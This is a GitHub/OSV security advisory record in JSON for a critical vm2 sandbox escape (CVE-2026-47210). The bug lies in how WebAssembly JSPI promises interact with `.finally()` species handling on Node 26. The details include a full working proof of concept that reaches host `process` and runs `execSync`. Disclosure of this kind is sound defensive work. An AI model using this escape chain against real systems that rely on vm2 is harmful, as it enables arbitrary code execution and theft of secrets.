{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:51:05Z",
    "nvd_published_at": "2026-06-12T15:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object\u0027s constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`\u0027s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor(\u0027return process\u0027)()\n    P.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,\u0027constructor\u0027,{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation",
  "id": "GHSA-6j2x-vhqr-qr7q",
  "modified": "2026-06-12T20:55:08Z",
  "published": "2026-05-29T17:51:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass"
}